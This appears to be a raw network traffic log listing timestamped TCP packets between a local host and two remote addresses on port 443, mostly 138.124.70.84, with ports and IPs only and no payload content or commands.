Aug 13, 2026 15:55:23.158962965 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158976078 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.158989906 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159002066 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159015894 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159028053 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159044027 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159054995 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159068108 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159080029 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159092903 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159106016 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159120083 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159132004 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159145117 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159161091 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159171104 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159184933 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159197092 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159210920 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159224033 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159235954 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159250021 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159261942 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159276962 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159288883 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159301996 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159315109 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159327984 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159341097 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159353971 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159368992 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159379959 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159392118 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159405947 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159419060 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159430981 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159444094 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159456968 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159470081 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159483910 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159497023 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159508944 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159523964 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159535885 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159548044 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159560919 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159578085 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159588099 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159600019 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159612894 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159626007 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159638882 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159652948 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159665108 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159678936 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159691095 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159704924 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159718037 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159730911 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159751892 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159759045 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159770966 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159787893 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159800053 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159811974 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159826040 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159840107 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159854889 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159867048 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159883022 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159893990 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159908056 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159923077 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159935951 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159950972 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159965038 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159980059 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.159996033 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160006046 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160020113 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160034895 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160048962 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160062075 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160078049 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160093069 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160104990 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160119057 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160132885 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160146952 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160160065 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160176039 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160191059 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160204887 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160217047 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160229921 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160244942 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160258055 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160273075 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160286903 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160303116 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160315037 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160329103 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160341978 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160356998 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160371065 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160387039 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160401106 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160417080 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160427094 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160440922 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160454988 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160469055 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160481930 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160495996 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160511971 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160523891 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160538912 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160552979 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160567045 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160583019 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160598993 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160612106 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160629988 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160641909 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160655975 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160672903 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160686970 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160701036 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160717010 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160733938 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160746098 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160762072 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160777092 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160790920 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160809994 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160821915 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160839081 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160851955 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160868883 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160881996 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160897970 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160914898 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160928011 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160947084 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160964012 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160976887 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.160986900 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.161003113 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.161019087 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.161031961 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.161048889 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184360027 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:23.184735060 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184751987 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184758902 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184771061 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184783936 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184797049 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184809923 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184823036 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184837103 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184849024 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184861898 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184876919 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184887886 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184901953 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184912920 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184932947 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184940100 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184962034 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184973001 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184983969 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.184994936 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185005903 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185017109 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185028076 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185039997 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185051918 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185065031 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185076952 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185090065 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185101986 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185113907 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185128927 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185137987 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185151100 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185163975 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185175896 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185189009 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185200930 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185214043 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185226917 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185240030 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185252905 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185266972 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185278893 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185292006 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185305119 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185317993 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185331106 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185347080 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185365915 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185379028 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185386896 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185400009 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185411930 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185425997 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185440063 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185450077 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185461998 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185477018 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185492039 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185501099 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185513973 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185527086 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185539007 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185554981 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185564995 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185578108 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185590982 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185605049 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185616970 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185631990 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185642958 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185656071 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185668945 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185683012 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185694933 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185708046 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185720921 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185734034 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185746908 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185764074 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185771942 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185786009 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185798883 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185811996 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185827017 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185838938 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185852051 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185864925 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185878992 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185889959 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185903072 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185915947 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185929060 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185941935 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185955048 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185971022 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185981035 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.185995102 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.199546099 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:23.207766056 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.012948990 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.013267040 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.013334990 CEST	443	49164	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.013587952 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.013679981 CEST	49164	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.379947901 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.379986048 CEST	443	49165	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.380255938 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.380357981 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.380364895 CEST	443	49165	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.440479040 CEST	443	49165	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.440773964 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.440859079 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.442332029 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.442332029 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.442332029 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.442354918 CEST	443	49165	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.442364931 CEST	443	49165	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.442389965 CEST	443	49165	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.443111897 CEST	443	49165	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.443308115 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.443429947 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.481511116 CEST	443	49165	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.481719017 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.481816053 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.481873989 CEST	443	49165	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.482141018 CEST	49165	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.659104109 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.659152031 CEST	443	49166	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.659368038 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.659466982 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.659476995 CEST	443	49166	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.716587067 CEST	443	49166	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.716851950 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.718429089 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.718429089 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.718429089 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.718461990 CEST	443	49166	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.718473911 CEST	443	49166	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.718482018 CEST	443	49166	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.719150066 CEST	443	49166	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.719289064 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.719440937 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.751291990 CEST	443	49166	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.751861095 CEST	443	49166	138.124.70.84	192.168.0.58
Aug 13, 2026 15:55:24.752351999 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.752470970 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:24.753016949 CEST	49166	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:55:46.897962093 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.897998095 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:55:46.899116039 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.899142027 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.899149895 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:55:46.936542988 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:55:46.937887907 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.947582006 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.948040009 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:55:46.948548079 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:55:46.949709892 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.949950933 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.950061083 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.950155020 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.950772047 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:55:46.953649044 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.953742027 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:46.997373104 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:55:47.385718107 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:55:47.385957956 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:55:47.385978937 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:47.386154890 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:47.387470007 CEST	443	56527	17.248.209.54	192.168.0.58
Aug 13, 2026 15:55:47.387825966 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:55:48.633322954 CEST	56527	443	192.168.0.58	17.248.209.54
Aug 13, 2026 15:56:24.757587910 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.757648945 CEST	443	49167	138.124.70.84	192.168.0.58
Aug 13, 2026 15:56:24.757906914 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.758008003 CEST	49167	443	192.168.0.58	138.124.70.84
Aug 13, 2026 15:56:24.758023024 CEST	443	49167	138.124.70.84	192.168.0.58
Aug 13, 2026 15:56:24.820229053 CEST	443	49167	138.124.70.84	192.168.0.58
